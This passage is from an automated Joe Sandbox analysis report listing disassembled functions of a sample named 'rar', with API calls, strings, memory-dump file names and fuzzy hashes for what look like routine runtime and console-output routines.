Instruction Fuzzy Hash: 3E21D076A19241DAE761CF69E480A9D77F0FB48798F544076EE48D3B48DB39E842CF10

Function 00007FF6AA1E24D4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6AA1E24F4
GetProcAddress.KERNEL32 ref: 00007FF6AA1E250A
FreeLibrary.KERNEL32 ref: 00007FF6AA1E252F

Strings

CorExitProcess, xrefs: 00007FF6AA1E2503
mscoree.dll, xrefs: 00007FF6AA1E24EB

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 62fc0dfec48af2956ca19e77247605bed92fa0407192cbb5e3de02daf22cabb6
Instruction ID: f0d4784c3b9676ad91997fdf7ca3f89ec950e939eadb2e6ae03f2e5ead2fdece
Opcode Fuzzy Hash: 62fc0dfec48af2956ca19e77247605bed92fa0407192cbb5e3de02daf22cabb6
Instruction Fuzzy Hash: E9F04461B1A682E1EE968B11F46027D2360EF88B80F44107BE94F86664EE3CDC468700

Function 00007FF6AA1EC654 Relevance: 7.8, APIs: 5, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aecc19a358617ecaa8b6bbce6cc459dc0080c4c1e8e9e85a1fab47fbb6b6c597
Instruction ID: 8d45e759207c4a1e0bb92b7e7f43b7f08571aec258f24e92c25bda9d32523b14
Opcode Fuzzy Hash: aecc19a358617ecaa8b6bbce6cc459dc0080c4c1e8e9e85a1fab47fbb6b6c597
Instruction Fuzzy Hash: 59A1E962F0A782E5EB738B5088103B96692AF46BA4F484677D95D86BC5DF3CDC478380

Function 00007FF6AA1E7AB4 Relevance: 7.7, APIs: 5, Instructions: 203COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6AA1E7AF9

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d6b863787b9640c79ee2b1febadb7c504d9673d6b028f9ef991185c259ef8196
Instruction ID: 5fbf977b409360d94581588d6e2cc646893028589291e8df916bced0af8856fa
Opcode Fuzzy Hash: d6b863787b9640c79ee2b1febadb7c504d9673d6b028f9ef991185c259ef8196
Instruction Fuzzy Hash: 3081C122F1A652E9F7329B6588806BD66E4BB46B84F0441B7DD0E93B95DF3CA847C310

Function 00007FF6AA1E7428 Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FF6AA1E7C5B), ref: 00007FF6AA1E7485
WideCharToMultiByte.KERNEL32 ref: 00007FF6AA1E7561
WriteFile.KERNEL32 ref: 00007FF6AA1E7587
WriteFile.KERNEL32 ref: 00007FF6AA1E75C6
GetLastError.KERNEL32 ref: 00007FF6AA1E75FE

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: 96f561c31132e0ea19a5ef4c1750fe83e0f57ac60b3e80aac86a7179c63ec212
Instruction ID: 8518796b86bf7aa4392142c46b2af54d75a2568eb16a8bb4153205a2c85fe361
Opcode Fuzzy Hash: 96f561c31132e0ea19a5ef4c1750fe83e0f57ac60b3e80aac86a7179c63ec212
Instruction Fuzzy Hash: 9651B032A15A51DAF722CF25D4443BC3BB0BB49B98F048176DE4A87B98DF38D946C700

Function 00007FF6AA1980C0 Relevance: 7.6, APIs: 5, Instructions: 118fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6AA19814D
CharToOemA.USER32 ref: 00007FF6AA1981D8
WriteFile.KERNEL32 ref: 00007FF6AA1981FB
GetStdHandle.KERNEL32 ref: 00007FF6AA198242
WriteConsoleW.KERNEL32 ref: 00007FF6AA198266

Part of subcall function 00007FF6AA1CD840: WideCharToMultiByte.KERNEL32 ref: 00007FF6AA1CD871

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: CharHandleWrite$ByteConsoleFileMultiWide
String ID:
API String ID: 643171463-0
Opcode ID: 654297ad72194e14295c68420ac164d852ec9683f320a24142875de6632070b4
Instruction ID: 23709357a30434aec5561181231692e26601c191468809aed8013947561cb52c
Opcode Fuzzy Hash: 654297ad72194e14295c68420ac164d852ec9683f320a24142875de6632070b4
Instruction Fuzzy Hash: C641F561E0A642E2F9229B20A9102BD63A4EF45BA0F04037BED6D977D5DF3CAD47C340

Function 00007FF6AA1E69B4 Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6AA1E6AD6

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 0e6eb9f6afd3336ef7fae7e3833685d0b95f626a5f44511e493326727d516b6b
Instruction ID: bc79df88e1aebe242a49c27421aebcd2cee7b599549ef54e51bf3e8d5dd40a62
Opcode Fuzzy Hash: 0e6eb9f6afd3336ef7fae7e3833685d0b95f626a5f44511e493326727d516b6b
Instruction Fuzzy Hash: 8E41F431B0B602E1FE668B01A900575A6A1BF45BD0F9D8577DD2ECBB84EE3CEC129300

Function 00007FF6AA1EDC20 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6AA1EDC47
_set_statfp.LIBCMT ref: 00007FF6AA1EDC62
_set_statfp.LIBCMT ref: 00007FF6AA1EDC7E
_set_statfp.LIBCMT ref: 00007FF6AA1EDCBA

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 70895f6a6caca5a93f387097b68bfd30b7bf4dd7af3bc8c27b3038974be86bdd
Instruction ID: 9ede3cf05966c6f62804b1c275c36d8c25df8b01223b147e8cd2276492604d22
Opcode Fuzzy Hash: 70895f6a6caca5a93f387097b68bfd30b7bf4dd7af3bc8c27b3038974be86bdd
Instruction Fuzzy Hash: A811C436E19603B5F67A1124E48677911416F47BF0E084ABFE97EC7ED6CEACBC424205

Function 00007FF6AA197514 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 189COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6AA1CCD7C: MessageBeep.USER32(?,?,?,?,00007FF6AA19CA56,?,?,?,00007FF6AA1CB9B7), ref: 00007FF6AA1CCD9E

wcschr.LIBVCRUNTIME ref: 00007FF6AA197597
wcschr.LIBVCRUNTIME ref: 00007FF6AA19768D

Strings

(, xrefs: 00007FF6AA197754
[%c]%ls, xrefs: 00007FF6AA197743

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: wcschr$BeepMessage
String ID: ($[%c]%ls
API String ID: 1408639281-228076469
Opcode ID: 4d02bf8f4ce93e39c77e0184eba1caa1a1f2233ef547ea100f5889751ce62d16
Instruction ID: 1dae2a7cc93c51b3ba0be52bcd701d22a83c181f7a81cf0e8531d93e915e7560
Opcode Fuzzy Hash: 4d02bf8f4ce93e39c77e0184eba1caa1a1f2233ef547ea100f5889751ce62d16
Instruction Fuzzy Hash: 6081E632A0A681D6EA66CF05E5402BA67A5FF84B88F440577EA4E97755EF3CE902C700

Function 00007FF6AA1A6FE0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 185COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6AA1A7176
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6AA1A7221

Strings

%c%c%c%c%c%c%c%c%c, xrefs: 00007FF6AA1A716F
%c%c%c%c%c%c%c, xrefs: 00007FF6AA1A71E3

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: swprintf
String ID: %c%c%c%c%c%c%c$%c%c%c%c%c%c%c%c%c
API String ID: 233258989-622958660
Opcode ID: 38c4519696e4c9bdd89b4f8cc1889f7268b19d5497b88c6bb2108e0ee8c44be2
Instruction ID: 97db14390a5f450664d433cbf8a9e9120500d8dbd859c44bdf76bdfd5c5f3337
Opcode Fuzzy Hash: 38c4519696e4c9bdd89b4f8cc1889f7268b19d5497b88c6bb2108e0ee8c44be2
Instruction Fuzzy Hash: 51517BF3F382449AE3158F1CE841BA92691F364B90F545A2AF94AD3B44DA3DDF058700

Function 00007FF6AA196E84 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

wcschr.LIBVCRUNTIME ref: 00007FF6AA196EC8
wcschr.LIBVCRUNTIME ref: 00007FF6AA196F16

Strings

MCAOmcao, xrefs: 00007FF6AA196F0F
MCAOmcao, xrefs: 00007FF6AA196EC1

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: wcschr
String ID: MCAOmcao$MCAOmcao
API String ID: 1497570035-1725859250
Opcode ID: 60d027c937bd85c0ec11d3272bcf654f58bd0898aa2e7cd431d5c18eddc1ac66
Instruction ID: 51b4439e22b2a4732e85f77742302db6cf45b94f0d5bd67a207c9b90f59743a8
Opcode Fuzzy Hash: 60d027c937bd85c0ec11d3272bcf654f58bd0898aa2e7cd431d5c18eddc1ac66
Instruction Fuzzy Hash: B641B012D0E583E0EA239F21526157E9391AF11B84F9844B7EA6DCA2D5EE2DFC53C331

Function 00007FF6AA1A3528 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF6AA1A359E
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6AA1A35E6

Part of subcall function 00007FF6AA1A30C8: GetFileAttributesW.KERNELBASE(00000800,00007FF6AA1A305D,?,?,?,?,?,?,?,?,00007FF6AA1B4126,?,?,?,?,00000800), ref: 00007FF6AA1A30F0
Part of subcall function 00007FF6AA1A30C8: GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,00007FF6AA1B4126,?,?,?,?,00000800,00000000,00000000), ref: 00007FF6AA1A3119

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6AA1A3651

Strings

%u.%03u, xrefs: 00007FF6AA1A35A7, 00007FF6AA1A3630

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: AttributesFileswprintf$CurrentProcess
String ID: %u.%03u
API String ID: 2814246642-1114938957
Opcode ID: 84c97cd936c0b2bb546c7914bc35e6a0bad55efb9bf4e2a2824d38ff43805cc4
Instruction ID: 5a48b5e9f4e9d639b2b4f5ce51e72ea759eb1a1731c95f78590dbddcf52ce1e7
Opcode Fuzzy Hash: 84c97cd936c0b2bb546c7914bc35e6a0bad55efb9bf4e2a2824d38ff43805cc4
Instruction Fuzzy Hash: 6A315C25619581E1E7169B24E4113BA6261BB847B4F501337ED7E877E1DE3CE90BC300

Function 00007FF6AA1E7854 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF6AA1E793A
WriteFile.KERNEL32 ref: 00007FF6AA1E796D
GetLastError.KERNEL32 ref: 00007FF6AA1E798F

Strings

U, xrefs: 00007FF6AA1E7918

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: 5dbcbed523f5bc97d8a97ee5e840f7eee38a7f1acec6aeee37cbb534f8f7503d
Instruction ID: 720b22193ae009278045c30a26537c9237d194f60d3a3b6ef0584b8f638a5f1a
Opcode Fuzzy Hash: 5dbcbed523f5bc97d8a97ee5e840f7eee38a7f1acec6aeee37cbb534f8f7503d
Instruction Fuzzy Hash: 9341C522B1AA81D6EB618F15E8447B9B7A1FB98794F444036EE4DC7B84DF3CD842C700

Function 00007FF6AA1DD7BA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6AA1DE7D0: __vcrt_getptd_noexit.LIBVCRUNTIME ref: 00007FF6AA1DE7D4

__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF6AA1DD7E2
RaiseException.KERNEL32 ref: 00007FF6AA1DD80B
__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF6AA1DD86C

Strings

csm, xrefs: 00007FF6AA1DD83F

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: Exception$DestructObject$Raise__vcrt_getptd_noexit
String ID: csm
API String ID: 2280078643-1018135373
Opcode ID: 17bbef4e125ef7202bf11184ec0650b854660f7e5235f7bad60fbeeb41854260
